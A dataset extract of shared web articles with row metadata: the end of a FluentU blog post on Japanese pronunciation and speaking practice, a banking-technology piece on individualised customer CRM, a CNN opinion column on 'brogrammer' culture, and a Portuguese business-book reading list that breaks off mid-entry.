""My pronunciation doesn't sound native."" Perhaps you really still sound too darn foreign when the time comes to speak Japanese-not that there's anything wrong with sounding foreign, accents are awfully attractive after all. Even so, you've been dying to learn fluent, natural-sounding Japanese. Maybe you can't quite nail down the accent. Maybe you're still having issues with some pronunciation. Either way, that's a problem that needs to be fixed. If you can't match native intonation, it may be difficult for them to understand you when you speak. Mimic your favorite TV character. If you like watching TV shows or , this is the tip for you. Here's how you can use your favorite TV show or anime series to help you learn Japanese. You might not want to use action-packed shows for this. Pick something with a bit of dialogue to it. Pick a character. This should be a character that you can identify with in a show you really like. The character might be your own gender, have a similar profession or express a similar outlook on life with their spoken words. Try to pick someone who speaks the way you'd ideally like to speak in Japanese. Play it back . I know, it's hard to listen to yourself isn't it? Replay the original clip . Compare and contrast. Find points that you need to improve on and keep trying. In addition to this, make sure you're saying borrowed English words with the Japanese accent. Don't say ""cake."" Say ケーキ (ke-ki). Japanese people will have a lot of trouble understanding you unless you say it with a katakana pronunciation. Even if the word is borrowed from English, it often sounds different enough that they won't always catch it. 6. ""I don't understand half of what native speakers say."" This can be one of the biggest challenges to overcome and certainly one of the most frustrating. This is the ""walking textbook"" problem. You always sound robotic , and you have trouble deciphering casual Japanese speech , because you're operating how your textbook or class taught you to speak and listen. You don't necessarily learn how modern people speak in everyday conversations-this is too often pushed aside in favor or more formal instruction. This is especially true if you're going somewhere outside of Tokyo. Those Japanese dialects open up a whole new can of worms! I live in Osaka, where Osaka dialect is spoken heavily even in some business situations. It's a bit more casual than the standard dialect spoken in Tokyo, and some of the words are different. It definitely has taken me a while to get adjusted and pick up new vocabulary, grammar twists and slang. So, how do you get started if you want to better understand native Japanese speakers? Mimic a character once more! This is a seriously great way to help you out when learning anything to do with speaking Japanese. This time we're going to be looking for some different things, though. Pay attention to the situation. Is it formal? Casual? How does the language differ in each situation? What words are they using? Look at how vocab words are used. For example, even though they have words for ""say"" and ""tell,"" Japanese people use the verb for ""to teach,"" 教える (oshieru), when saying ""someone told me something."" Learn some idioms. Make note of any strange expressions that don't seem to make any sense in context. It's probably an idiomatic expression. One of my favorite in Japanese is 頭に来る (atama ni kuru) or ""coming to my head."" This means to get very angry. It makes no sense reading it literally, right? Try FluentU! FluentU takes real-world Japanese videos-like music videos, movie trailers, news and inspiring talks-and turns them into personalized language learning lessons. Use the website on your computer or tablet or, better yet, download the FluentU app to your iPhone. The Android app is in the works! FluentU gives you the access you need to authentic Japanese content, along with the ability to utilize it to enhance your studying. You'll quickly see that we offer a broad range of contemporary videos-just take a look at one small sample: You'll get reading practice too, as every video is subtitled. FluentU makes these native Japanese videos approachable through interactive captions. These interactive captions will show you the definition of a word (and simultaneously pause the video) whenever you hover your mouse over it. Interactive subtitles allow you to immediately understand what's being said. All definitions have multiple in-context usage examples, and they're written for Japanese learners like you. You'll also find audio pronunciations, synonyms, helpful images and more. Tap again to add words you'd like to review later to your running vocab list. And that's not all. FluentU's learn mode lets you learn Japanese even better by turning your selected videos into personalized language lessons. You'll go through exercises that show the video clips as the prompts, multimedia flashcards, quizzes and fun activities like ""fill in the blank."" The best part? Every time you use FluentU, the site keeps track of the grammar and vocab you've learned and the words you struggle with, personalizing video suggestions and learning sessions based on your unique set of knowledge. It'll then recommend the natural next step in the progression of your learning. You're delivered a 100% personalized experience. 7. ""I can understand Japanese, but I can't say much."" In this case, you probably spend a lot of time studying the language but not using it. You need to actually practice using the language verbally in order to build communication skills. There are a couple things you can try to get your speaking game up to snuff. Get a one-on-one teacher It might not be a free option, but it's probably the fastest and most effective way to practice your conversation as well as learn about Japanese language. Especially if you don't have any Japanese friends to talk to. You can search for teachers in your area or take to Skype options to find a quick, convenient solution. Take to the Internet The Internet is a great resource for many things. It has provided us a way to communicate across the vast oceans that may separate us. Lucky for us, there are some great tools out there to help us learners meet native Japanese speakers with whom we can practice speaking. Lang-8 is an online service where you can post content and have it corrected by a native speaker. This isn't verbal communication, but it will allow you to make contacts which you could then possibly chat up on Skype or other chat service. HelloTalk is a relatively new entry on the scene. It's an Android / iOS app that basically expands a bit on Lang-8. It's a language exchange in an app where you can search for contacts to engage. People usually seem to be pretty good about responding too. I've tried it and had a pretty good response rate. Native speakers can offer real-time corrections to anything you write or record-oh yeah, you can also send recorded voice clips! This is another great way to meet people and bring the conversation to Skype or a similar medium. 8. ""I've completely lost motivation."" Maybe you've just completely lost the motivation to study Japanese. It happens. In that case, we need to get you back on track! Here's a tip. Find your reason. Maybe you don't really remember why you're studying in the first place. Get back that spark that pushed you to learn Japanese in the first place and you'll be well on the path to recovery. Have you always wanted to be able to watch anime without subtitles? Great! Give your Japanese learning a little kickstart by taking the time to watch your favorite anime shows every day. Once you're on a roll, ease yourself into learning mode. Try watching the shows with a stronger focus on learning and understanding what's being said. If you're at an intermediate level, try watching clips or shows twice-only once with subtitles, noting what you don't understand. Then try it without the subtitles. See how much you can pick up. You might be surprised. Incorporate what you love into your learning and make it fun again! All you need to do now is say ""no"" to excuses and get back in the Japanese learning zone. If you liked this post, something tells me that you'll love FluentU, the best way to learn Japanese with real-world videos. Experience Japanese immersion online!",en
1465923371,CONTENT SHARED,-4700714777342103147,5660542693104786364,-7131137178361608790,,,,HTML,http://www.bankingtech.com/479242/say-goodbye-to-traditional-customer-segmentation/,"Say goodbye to traditional customer segmentation "" Banking Technology","To stay afloat in a sea of consolidation, financial organisations, including community banks and credit unions, must recognise that their customers are individuals with unique needs. Michael Boukadakis, founder and CEO of Enacomm, explains how technology can help achieve this. Algorithms have advanced, and other industries - from retail to transportation - have raised the bar for customer care. Consumers increasingly have come to expect personalised service from every organisation to which they bring business. The level of personalisation that traditional customer segmentation offers is no longer enough; true one-to-one individualisation is the best way for financial institutions to win and keep customers. Every day, consumers are bombarded with broadcast messaging. Thus, they've been forced to become protective about what competes for their time and attention. Not only can lumping customers in groups, rather than treating them as individuals, be ineffective, but ongoing mass personalisation can mar a brand when communications miss the mark. Banks and credit unions must message customers appropriately, which is now possible with the help of new technology. By researching literally hundreds of data points and accessing dozens of business policies, advanced intelligent decisioning engines enable banks and credit unions to offer top notch customer self-service experiences while reaping the benefits of predictive marketing. Rather than gathering big data and relying on outdated customer relationship management (CRM) techniques to obtain a snapshot of customers, a comprehensive view of individual behavior is now within reach. To make big data think, the latest CRM technology uses the information that is collected to proactively and intelligently interact with each customer in real-time, in any communication channel. In addition to demographics and account information, each customer's behavior factors into the dynamic decisioning engine, allowing financial institutions to anticipate customers' needs and predict their future behavior. True personalisation is crucial to customer and member retention for banks and credit unions across the globe. With intelligent customer interactions, patrons will enjoy a unique self-service experience every time they connect with a financial institution via mobile, SMS text, the IVR or on the web. Personalisation does not just mean a customer will be greeted with ""Hello John"" when he calls the IVR; it means he won't be burdened with long menus and messages regarding products or services he already uses. To achieve specificity and accuracy in micro-messaging, a dynamic decisioning engine must have the following capabilities: it knows each bank customer's account types, account tenure and history; understands how often each account is accessed or not accessed; computes high, low and average balances for each account; calculates and records transaction amounts for each customer based on current values and rolling averages; identifies transaction types, differentiating among ATM, teller, debit card, and check activities; records and reacts to the number and types of each customer's digital log-ins; applies sophisticated interactive policies and rules using hundreds of additional data points. When patrons interact with financial institutions via any channel, the technology knows many key facts about them within milliseconds. Tailored customer service leads to increased profitability for financial institutions. An advanced decisioning engine enables banks and credit unions to successfully cross-sell products and services, while reducing customer service costs with top notch self-service channels. Modern technology can also help banks and credit unions hone in on their most valuable customers. In the old days, it was commonly held that every customer should receive the same level of service - but that's not the most effective approach from a business strategy perspective. In the airline industry, first-class passengers are more likely to be frequent flyers, which means they spend more money with the airline. Thus, they receive a higher level of service as they sit at the front of the plane. Banks and credit unions should rank customers and members, as well. A customer who has a large sum of money and multiple accounts with a bank should be prioritised by that financial institution over a customer with a small amount in one account. The person with the larger balance is more likely to take advantage of financial products and services that the bank offers. A dynamic decisioning engine can single out high-value bank customers, who should receive ""first-class"" service from a customer care agent. For example, when a ""platinum"" patron calls the customer service line, the latest technology can determine that he/she should be transferred directly to a representative without having to listen to promotional sales messages - a customer service ""express lane."" To keep patrons happy and increase profitability, trade in conventional customer segmentation for customer individualisation. Modern CRM technology can give banks and credit unions confidence that each customer interaction is tailored to the needs of the individual and the institution.",en
1465923726,CONTENT SHARED,-96719740408441346,-5527145562136413747,5463356229175316851,,,,HTML,http://edition.cnn.com/2012/05/10/opinion/trapani-brogrammer-culture/index.html,"In war for talent, 'brogrammers' will be losers","Start-ups are fighting a war for talent in Silicon Valley, and the companies that actively welcome men and women are going to win it. Smart companies don't recruit ""brogrammers."" The term brogrammer is a joke, of course. Male software engineers don't actually pop their collars, wear sunglasses and lift weights while writing code and share hot tubs with bikini-clad women. But the joke is funny for some people because it reflects a truth about a community where certain places exclude great talent in favor of frat house fun. The tech industry's testosterone level can make the thickest-skinned women consider a different career. But the rise of the brogrammer joke and its ensuing backlash has some benefits: It helps talented women choose worthy employers, it gives a name and face to a problem that plagues the industry and it publicly shames some of the most sexist offenders. In 1999, Google's Marissa Mayer almost didn't take the job at the all-male start-up because there were more women at another firm that made her an offer. If Mayer had just graduated from college today with offers from two equally compelling start-ups -- one all-male and one not -- it's clear which one she would choose. If you write software for a living and you're located in Silicon Valley, you have your pick of employment options at an array of tech start-ups -- yes, even in this economy. When a recruiter's pitch is: ""Wanna bro down and crush some code?"" -- like San Francisco-based Klout's was -- you get a sense of what that company is looking for. If you're a woman, it's not you. That's pretty sad, but it's not all bad. As a woman and a software developer, crossing Klout off the list of places where I might work helps me narrow my options. I'd rather find out that an employer glorifies young dudes before I take a position than afterward. That's one small way brogrammer culture is actually useful. It's a red flag for women engineers, product developers, designers, project managers, marketers, business development and PR specialists. It says: This is a company that you'd want to avoid. Conversely, companies that assemble inclusive teams are more likely to snag great hires of all stripes. Tech start-ups founded by women are few and far between, but they're highly attractive to female and male candidates who don't want to join a boys' club. Established companies with executives who are vocal about women's issues, such as Facebook's Sheryl Sandberg, also have an advantage. ( Sandberg's TED talk is one of my all-time favorite career advice presentations for women.) The spotlight on Silicon Valley's brogrammer problem has focused on some of the worst public offenders. I find sexism in 2012 corporate America appalling, but I'm also an optimist. The folks perpetuating this culture are probably not overt misogynists. Most of the time, they simply don't know any better. Path's Matt Van Horn ""feels terrible"" about the sexist comments he made during a conference presentation that caused disgusted attendees to get up and leave. Geeklist began a women in technology committee after mishandling the retraction of a promotional video that featured a scantily clad female dancer. Cynics would argue that apologies won't resolve the underlying problem. But humiliation is an effective behavior modifier. I don't think these people will make these mistakes again. Sometimes the road to enlightenment is paved with public shaming. And there's a bonus: Onlookers have real life examples of what not to do at their companies. The tech industry has always been male-dominated. But the perception of those men has changed. Billionaire geeks of Silicon Valley are no longer considered awkward nerds who can't get a date. Instead, they're superheroes, the protagonist in epic movies and biographies. A new generation of young people from all walks of life aspires to be the next Mark Zuckerberg, Steve Jobs or Bill Gates. They'll want to work for the most attractive companies -- the ones who built welcoming, diverse teams. Brogrammer culture celebrates frat house values, youth over experience and men over women. In the war for hiring great talent, the companies that embrace this culture rather than reject it will lose. That's a good thing.",en
1465924062,CONTENT SHARED,-7009536306337650657,3217014177234377440,-5154847373237494201,,,,HTML,http://www.youwilldobetter.com/2013/11/biblioteca-fixe-sugestoes-de-leitura/,[Books] Biblioteca FIXE: Sugestões de Leitura,"Enviado por Redação FIXE On 8 de novembro de 2013 0 Comentários Leitura recomendada Apresentamos aqui mais de 100 títulos, recomendamos sua leitura para acrescentar o desenvolvimento de soft skills, para complementar seus conhecimentos técnicos ou simplesmente para conhecimento geral. Registre seus dados para receber via e-mail nossas recomendações de leitura e a inclusão de novos títulos nesta página!! Gosta realmente de ler? Então tenho certeza que gostará de saber sobre Os benefícios da Leitura para o Cérebro E agora este espaço conta com o apoio da Editora Brasport. Fundada em 1995, a Editora Brasport , produziu 600 títulos e mais de 100 e-Books, tendo comercializado quase 2 milhões de exemplares. Seu foco principal são os Profissionais de Negócios orientados à Gestão de Projetos e Processos, valorizando e promovendo o potencial talento dos autores nacionais. Conheça os últimos lançamentos da Editora Brasport . Veja nossa galeria de Títulos para selecionar o livro do seu interesse. Indicamos o título do livro, seu autor e um breve resumo para ajudar você na sua pesquisa. Não encontrou o livro que procurava? Conte-nos sua necessidade, com muito prazer ajudaremos!! Desejamos boa leitura! Teria algum livro para indicar? Envie para nós suas sugestões!! Gostou? Compartilhe! ""O Jeito Zuckerberg de Fazer Negócios: Como o Ceo mais Improvável do Mundo Construiu o Facebook"", de Ekaterina Walter A criação de Mark Zuckerberg mudou a maneira como o mundo se comunica, se engaja e consome a informação. Mas o que Zuck fez para conseguir a ascensão meteórica do Facebook? A resposta está neste livro que apresenta os 5 P's (paixão, propósito, pessoas, produto e parcerias) do sucesso do Facebook aplicáveis em qualquer empresa ou negócio. ""Os 7 Hábitos das Pessoas Altamente Eficazes"", de Stephen Covey Um dos livros mais influentes do século XX no mundo dos negócios, apresenta os princípios fundamentais da eficácia humana, sete hábitos básicos e primordiais que representam a interiorização dos princípios corretos, no qual está baseado o sucesso. ""A Geração Y no trabalho"" de Nicole Lipkin. Saiba o que motiva os jovens Ys, porque eles agem do jeito que agem, saiba administrar seus pontos fortes e seus pontos fracos. Fique antenado com o novo cenário corporativo e entenda o potencial desses jovens super talentosos. Conheça como ajudar na transição pacífica dessa geração para o ambiente de trabalho!! - ""Capital Intelectual"", de Thomas A. Stewart O principal objetivo deste livro é mostrar como descobrir, gerenciar, desenvolver o capital intelectual - o ativo mais indispensável das empresas - e oferecer uma estrutura sobre a qual os profissionais de negócios possam desenvolver estratégias úteis e valiosas para competir na Era da Informação. É o primeiro livro a mostrar como transformar o conhecimento não aproveitado e não mapeado de uma organização em sua maior arma competitiva. ""Motivação 3.0″, de Daniel Pink Em Motivação 3.0, Daniel Pink nos prova que a motivação à base de recompensas e punições já não é mais eficiente. Os fatores motivacionais vêm de dentro de cada um de nós. É o legado que deixaremos no mundo e nosso nível de satisfação pessoal e profissional que nos fazem buscar um melhor desempenho e resultado no que nos propomos a fazer. ""Más Productivos"", de Martín Alaimo Atuar em equipe é principalmente uma atividade social, portanto, a maneira mais eficaz de melhorar os resultados é melhorar as relações entre os membros e não apenas focar nos processos e nas tarefas que desempenham. É justamente este o tema do livro de Alaimo: a gestão das relações interpessoais visando desenvolver equipes mais produtivas. Mais informações pelo link: ""A Estratégia em Ação"" de Robert Kaplan e David Norton Saiba como diversos executivos utilizam o Balanced Scorecard para orientar o desempenho atual e focalizar ações para o futuro. Os autores apresentam algumas medidas úteis para melhorar metas como desempenho financeiro, conhecimento do cliente e processos internos. ""A Meta: Um processos de Melhoria Contínua"" de Eliyahu M. Goldratt Os autores buscam, nesta obra, motivar a evolução do ser na forma de raciocinar, aumentar a habilidade de desenvolvimento e identificar os problemas, apontando rápidas soluções. Descubra o que você precisa mudar e qual o motivo dessa mudança com a ajuda de Alex Rogo, o personagem que precisa tirar sua fábrica do sufoco para ganhar uma promoção. ""A Meta na Prática"" de Eliyahu M. Goldratt TOC (Theory of Constraints - Teoria das restrições) foi criada na década de 1970, quando seu autor envolveu-se com os problemas da logística da produção. Na década de 1980, ele publicou 'A Meta', escrito em forma de romance e que mostra as dificuldades de um gerente de fábrica. Seguindo a evolução de seu sistema, Goldratt desenvolveu processos de raciocínio lógico que poderiam ser aplicado à produção, depois de implantada a TOC, permitindo superar as novas dificuldades num processo de otimização contínua. Os processos de raciocínio lógico no século XXI ultrapassaram a área administrativa e são usados em outras áreas do conhecimento humano. O processo de otimização contínua (que é a base de todos os aplicativos da TOC), contém 5 etapas - Identificar a restrição do sistema; Explorar a restrição do sistema; Subordinar tudo o mais à decisão acima; Elevar a restrição do sistema; Se num passo anterior a restrição for quebrada, deve-se voltar ao passo 1, sem deixar que a inércia se torne a restrição do sistema. A ênfase desta obra recai no conhecimento de como conduzir a empresa à mudança e os exercícios com o simulador mostram como identificar, na prática, o problema e chegar rapidamente à sua solução e ao desempenho otimizado da produção. ""Competindo pelo Futuro"", de Gary Hamel e C.K. Prahalad Este livro apresenta um painel sobre o que a empresa deve fazer hoje se quiser ocupar uma posição de liderança no futuro. Funciona tanto como um manual para empreendedores quanto como um guia para a criação dos mercados de amanhã. Os autores desafiam os executivos a desenvolver a capacidade de previsão do setor, a definir uma intenção estratégica, a alavancar recursos e a revitalizar o processo da criação de novos negócios ""40 + 4 Ferramentas e Técnicas de Gerenciamento"", de Merhi Daychoum Este livro apresenta de forma clara e objetiva Ferramentas e Técnicas de aplicabilidade comprovada para o apoio e melhoria do Gerenciamento. Este trabalho procurou possibilitar uma visão geral e mostrar os passos básicos de algumas dessas metodologias, tentando facilitar o entendimento das técnicas desenvolvidas, evidenciando a sua funcionalidade e estimulando a sua aplicação prática. São ferramentas como Análise SWOT, Benchmarking, Brainstorming, Modelo 5W2H, Gráfico de Gantt, Curva ""S"", Diagrama Espinha de Peixe, WBS, Método Delphi e diversas outras ferramentas que ao longo do tempo tornaram-se de uso universal, servindo ao apoio da gestão de várias áreas de conhecimento da administração. ""A Quinta Disciplina"" de Peter M. Senge O livro sugere uma visão sistêmica de vida, do mundo, e de todos os aspectos da vivência humana. Trata-se de um livro de larga utilização nos meios organizacionais e administrativos, pois sugere uma visão mais ampla para administração, começando pela maneira de ver e encarar a vida pelo próprio administrador. Os tópicos abordados no livro são cinco disciplinas, sendo cada uma delas crucial para o sucesso das outras. Dando mais ênfase para a quinta disciplina-raciocínio sistêmico como ""o alicerce de organização que aprende"". ""Estratégico Livro da Liderança"" de Jeffrey Gitomer O novo livro de Liderança da Editora M.Books escrito pelo consagrado autor Jefrey Gitomer ajudará você a entender sua situação, a identificar suas oportunidades, a criar seus objetivos, a executar agindo e delegando, e a estabelecer uma posição de liderança por meio de entusiasmo, brilhantismo, ação, colaboração, resiliência e realização. ""Fundamentos em Gestão de Projetos"" de Marly Monteiro de Carvalho e Roque Rabechini Jr. Este livro apresenta um recorte que o difere dos demais publicados neste campo de estudo. Sem deixar de abordar as práticas gerenciais adotadas na última versão do PMBOK (Project Management Body of Knowledge), o texto enfatiza a importância do gerenciamento de projetos em termos organizacionais. Ou seja, dedica boa parte de seu conteúdo na apresentação e estudo de temas, como: maturidade, competências em gerenciamento de projetos, bem como carteira (portfolio) de projetos, estruturas e estratégias organizacionais. ""Tenha Calma!"" de Vera Martins Este livro traz uma reflexão sobre a raiva, uma emoção natural no ser humano, mas pouco compreendida no ambiente de trabalho. Além disso, mostra como entender seu processo, seus 'gatilhos' e seus impactos na saúde mental, emocional, física e comportamental das pessoas. A proposta é oferecer ao leitor ferramentas para a promoção de seu autoconhecimento e de um modelo mental fortalecido o suficiente para a aquisição de uma maturidade emocional sólida. Só assim, ressalta a autora, será possível administrar a raiva de forma eficaz e ser feliz no trabalho. ""Comunicação É Tudo ! - Os Segredos dos Maiores Comunicadores de Negócio do Mundo"" de Carmine Gallo Com ""Comunicação é Tudo!"", o leitor terá um guia que o ensinará como ser mais eficaz em romper com a desorganização e desenvolver e transmitir as mensagens mais importantes. De negócios à política, aqueles que prendem a atenção das pessoas, em suas vidas pessoais ou profissionais, são mestres em desenvolver e transmitir suas mensagens. Profissionais do mundo dos negócios, de todos os níveis de uma organização, se beneficiarão com as entrevistas, as histórias, os perfis e as técnicas demonstradas neste livro. As platéias contemporâneas estão habituadas a seis segundos de discursos rápidos, de apresentações de PowerPoint e de muitos outros desafios ímpares. Este é o único livro que revela os segredos da apresentação por trás dos maiores CEOs e líderes, e a maneira como encantam as platéias mais difíceis da atualidade. ""Gestão de Projetos"" de Luiz César de Menezes Este livro apresenta os principais conceitos consagrados e instrumentos que comprovam a eficácia de um projeto. Além de portar conceitos fundamentais para todo o ciclo de vida de um projeto, é uma ferramenta nas mãos de quem irá gerenciar ou deseja conhecer o que vem a ser um projeto e todos os seus desdobramentos. ""De la Insatisfacción al bienestar"" de Adriana Hercovich Uma historia inspiradora que coloca ao alcance de todos a possibilidade de empreender a viagem em busca do bem-estar. Inteligência Positiva de Charmine Shirzad A ""Inteligência Positiva"" mede o percentual de tempo que sua mente age em seu favor em vez de sabotando você. Enquanto seu QI e seu QE (inteligência emocional) contribuem para seu potencial máximo, é seu QP (quociente de inteligência positiva) que determina o quanto desse potencial você realmente alcança. Shirzad Chamine mostra como é possível aumentar o QP para melhorar seu desempenho tanto na esfera profissional quanto pessoal. ""Equilibrio e Resultado"" de Christian Barbosa Neste livro, repleto de pesquisas atualizadas e estudos de caso, você encontrará um teste para identificar seu perfil e descobrirá o que deve fazer para fortalecer o lado da balança que está em desvantagem. Você provavelmente pensará em mil coisas e estabelecerá diversas metas, mas é importante não cair na armadilha de deixar esse trabalho para depois. Em Equilíbrio e resultado, você aprenderá a selecionar e organizar suas ideias, colocando-as em prática por meio de estratégias como: * Desenvolver um modelo mental orientado para a realização. * Ter clareza do que é realmente importante. * Eliminar a fadiga mental gerada pelo excesso de informação. * Buscar fatores de incentivo ou dar a si mesmo pequenas recompensas. Se você acha que precisa sair da situação em que está, mas não sabe como, este livro é uma importante ferramenta para ajudá-lo a refletir e dar o primeiro passo em busca dos seus sonhos. ""O 8º Hábito"" de Stephen Covey Hoje em dia, não basta somente ser uma pessoa ou uma organização eficaz, mas são necessárias a realização, a execução apaixonada e a contribuição significativa, em uma ordem de grandeza e dimensão diferentes. Os sete hábitos para as pessoas altamente eficazes continuam relevantes mas Covey afirma que os novos desafios e a complexidade com que nos deparamos em nossas vidas e relacionamentos pessoais, em nossas famílias, em nossas vidas profissionais e em nossas organizações são de uma ordem de grandeza diferente e exigem uma nova atitude mental, uma nova habilidade, um novo conjunto de ferramentas... um novo hábito. Esse 8º Hábito é o de encontrar a própria voz e inspirar outros a encontrar a deles. ""A Tríade do Tempo"" de Christian Barbosa Considerado o maior especialista em gestão do tempo no Brasil, Christian Barbosa oferece uma solução definitiva para quem deseja uma vida mais equilibrada, voltada para a realização dos seus sonhos. Com base em uma pesquisa realizada com mais de 42 mil pessoas em todo o mundo, ele apresenta um inovador método de planejamento pessoal que vai ajudar você a organizar sua vida e se tornar mais produtivo. ""Quebre todas as regras"" de Marcus Buckingham Este livro é o resultado de dois estudos realizados pela Gallup ao longo de 25 anos. O primeiro procurou responder: ""Do que os funcionários mais talentosos precisam em seu local de trabalho?"" Foram entrevistados mais de 1 milhão de trabalhadores de uma ampla gama de empresas e países. A principal conclusão foi: funcionários talentosos precisam de grandes gerentes. Eles podem entrar para uma empresa pelos benefícios generosos e programas de treinamento, mas o tempo que permanecerão na companhia e o grau de produtividade que terão enquanto estiverem lá serão determinados pelo relacionamento com seu supervisor imediato. ""O Poder da Mente"" de Arthur Winter e Ruth Winter Neste livro, você lerá descrições de exercícios para várias funções cognitivas e sobre as teorias em que se baseiam. Com eles, você aprenderá a habituar o seu cérebro a se exercitar e a aumentar seu poder de concentração. Nele são descritas técnicas criadas para tirar o máximo proveito da sua inteligência, estimulando-o e ajudando-o a desenvolver e a manter o seu cérebro próximo da sua capacidade máxima. ""Gestão de Mudanças"" de Vicente Gonçalves e Carla Campos No primeiro capítulo do livro é conceituada a gestão de mudanças, seus personagens, estratégias e modelos aplicáveis. Em seguida são abordados o conjunto de boas práticas, a metodologia e as ferramentas que os autores chamam de HCMBOK - Human Change Management Body of Knowledge, que foi concebido relacionando-se atividades de gestão de mudanças com as etapas tradicionalmente seguidas na gestão de um projeto. Por fim, os autores elencam as competências que julgam essenciais ao gestor de mudanças e apresentam dois cases, um de sucesso e outro de fracasso. Os princípios e as práticas aqui apresentados podem ser aplicados a qualquer tipo de mudança. O principal objetivo é fornecer ao leitor uma referência para a gestão das atividades essenciais do fator humano em projetos de mudanças, sem ter a pretensão de ser exaustivos no tema. ""Agil Mente"" de Estanislao Bachrach Este livro trata sobre nosso talento mais prezado e único: a habilidade de imaginar e ser mais criativos. A sua leitura ajudará a desenvolver todo seu potencial e a entender o mecanismo do seu próprio aprendizado, a compreender como utilizar os sentidos, a aumentar a memória, a focar a atenção, a controlar as emoções negativas e a disfrutar das positivas. Deixe se levar em uma viagem alucinabte e divertida até o mais profundo de seu cérebro, pois uma vez que o conheça, sua vida mudará para sempre. Como pensar igual a Steve Jobs"" de Daniel Smith Um gênio. Uma inspiração. Um perfeccionista. Um rebelde obstinado. Essas são algumas das expressões mais usadas para descrever um dos maiores e mais importantes inovadores do mundo contemporâneo: Steve Jobs. Criador de adorados ícones de tecnologia - e de design - como o iPhone, o iPod, o Mac e o iPad, Jobs sem dúvida deixou sua marca no mundo, revelando características únicas como o amor pela inovação, pela simplicidade, pela criatividade e pelo design. Daniel Smith faz um saboroso panorama de todas essas características e de tudo o que Jobs fez e disse, na tentativa de inspirar todos nós a trazer um pouco de sua genialidade ao nosso dia a dia. Entre outras coisas, você vai aprender como é importante: * Quebrar algumas regras * Ir atrás das pessoas certas - e na hora certa * Transformar a adversidade em vantagem * Sonhar grande. ""A nova era da Gestão de Pessoas"" de Daniel Goleman Este livro é uma compilação das principais contribuições de pensadores que permite ao gestor conhecer de forma rápida e consolidada as idéias centrais da Gestão de Pessoas, e oferece a combinação ideal entre o rigor acadêmico e a acessibilidade de leitura, além de servir de importante fonte de pesquisa para profissionais e estudantes de Administração. A obra expõe os alicerces da Gestão de Pessoas de forma prática e agradável. ""Comunicação Empresarial na Prática"" de Sandra H. Terciotti e Isabel Macarenco O livro Comunicação empresarial na prática aborda conceitos fundamentais para estudantes e profissionais interessados em aperfeiçoar sua comunicação com o público interno e externo das organizações, utilizando-se de um código adequado que lhes proporcione retorno apropriado e eficaz. ""O Gerente também é Gente"" de André Barcaui Tem um projeto e está inseguro em como conduzi-lo? Você se sente perdido ao assumir seu novo cargo de gerente? Não sabe se foi promoção ou castigo? André Barcaui combina com perfeição conceitos, técnicas e o bom humor para tentar responder as perguntas acima. Com isso, construiu um romance instigante, com uma abordagem diferente e leve, prendendo o leitor até a última página. ""Mais Rápido, Barato e Melhor"" de Michael Hammer Com base em mais de uma década de pesquisa para entender os elementos básicos da execução do trabalho em empresas de todos os setores imagináveis - de refinarias de petróleo a desenvolvedores de software e hospitais -, este livro mostra como utilizar o poder dos processos de ponta a ponta para obter mais lucro e maior competitividade. ""PMO - Escritório de Projetos, Programas e Portfolio na prática"" de André Bracaui (Organizador) Este livro deixa claro a importância do PMO como um integrador de pessoas, processos e negócios que acaba por influenciar diretamente a maturidade em gerenciamento de projetos da organização e, consequentemente, a performance de seus projetos. Revisitando o que há de mais recente na literatura científica, esta obra inova ao compilar artigos inéditos, com base na experiência consultiva e acadêmica de seus autores. ""Como Mudar o Mundo: Gestão de Mudanças 3.0″ de Jurgen Appelo Aprenda sobre gestão de mudanças. Muitas pessoas são péssimas em influenciar outras pessoas a mudarem organizações. Mas, se você levar a sério, você pode aprender a ser um agente de mudança mais eficiente. É pegar, largar, ou mudar. ""O2 - Organizações Orgânicas"" de Renan Carvalho Com linguagem extremamente fluida, agradável, dinâmica e objetiva, o autor traça todas as premissas de um modelo ultrapassado de administração, denominado de Comando e Controle, para subvertê-las (no bom sentido, é claro) em premissas orgânicas, onde a atividade empresarial está voltada para gerar felicidade não apenas aos sócios, mas principalmente aos clientes e colaboradores. ""Agile: Desenvolvimento de Software com entregas frequentes e foco no valor de negócio"" de André Faria Gomes Nesse livro, André Faria Gomes, renomado coach e líder de equipes, explica como os diferentes sabores de Agile podem fazer um projeto de sucesso. Aprenda como o Kanban, XP e Scrum podem ser usados em conjunto e onde cada um dos métodos se complementa, além de conhecer dicas para adotar as metodologias no seu dia a dia de trabalho. ""Reuniões Visuais"" de David Sibbet Um guia atualizado para o século XXI sobre como se usar as mais recentes técnicas de pensamento visual com seus grupos e equipes, Reuniões Visuais traz diversas ferramentas e dicas para destravar a criatividade, a colaboração e o pensamento inovador. - Use registros gráficos, planejamento visual, roteirização, mapeamento de ideias e técnicas similares. - Promova apresentações melhores sem recorrer ao Powerpoint. - Faça consultoria e vendas com gráficos e ferramentas visuais. - Vá além do papel e dos quadros-brancos, até os tablets, iPads e outras mídias. - Torne todas as reuniões mais interessantes e produtivas. - Melhore tanto o trabalho presencial quanto o trabalho virtual com seus grupos. - E muito mais... ""Super Apresentações"" de Joni Galvão e Eduardo Adas O que diferencia a boa empresa não é só sua competência ou o ineditismo daquilo que faz. A empresa que tem visâo sabe a que veio e é capaz de compartilhar a sua expertise para que outros também alcancem seus objetivos. (...) E é justamente esse ""pulo do gato"" que este livro mostra. Tenho certeza de que, ao lê-lo, alguns velhos conceitos cairão por terra e você ficará incomodado, querendo chegar logo a sua empresa para rever aquelas apresentações que, no fundo, você nunca achou lá grande coisa... ""Planejamento e Controle de Obras"" de Aldo Matos Este livro apresenta assuntos como técnica PERT/CPM, estrutura analítica do projeto, diagramas de rede, cálculo de duração das atividades, caminho crítico, folga, nivelamento de recursos, análise probabilística de prazos, acompanhamento de obras, entre outros. Ao longo dos capítulos, o autor detalha cada passo apresentando a teoria, apontando as práticas, mostrando os erros mais comuns e oferecendo ao leitor exemplos e estudos de casos. ""Desenhando Negócios"" de Dan Roam ""Não há maneira mais convincente de provar que conhecemos bem alguma coisa do que fazer um desenho simples do tema em questão. E não há modo mais impactante de enxergar soluções ocultas do que pegar uma caneta e desenhar algumas figuras relacionadas ao problema."" É o que diz Dan Roam neste best- seller internacional que prova como um simples desenho em um guardanapo pode ser mais poderoso que a mais sofisticada apresentação em PowerPoint. ""DESIGN THINKING - Uma metodologia poderosa para decretar o fim de velhas ideias"" de Tim Brown Este livro introduz a ideia de Design Thinking, um processo colaborativo que usa a sensibilidade e a técnica criativa para suprir as necessidades das pessoas não só com o que é tecnicamente visível, mas com uma estratégia de negócios viável. Em resumo, o Design Thinking converte necessidade em demanda. É uma abordagem centrada no aspecto humano destinada a resolver problemas e ajudar pessoas e organizações a serem mais inovadoras e criativas. Escrito numa linguagem leve e embasada, este não é um livro de designers para designers, e 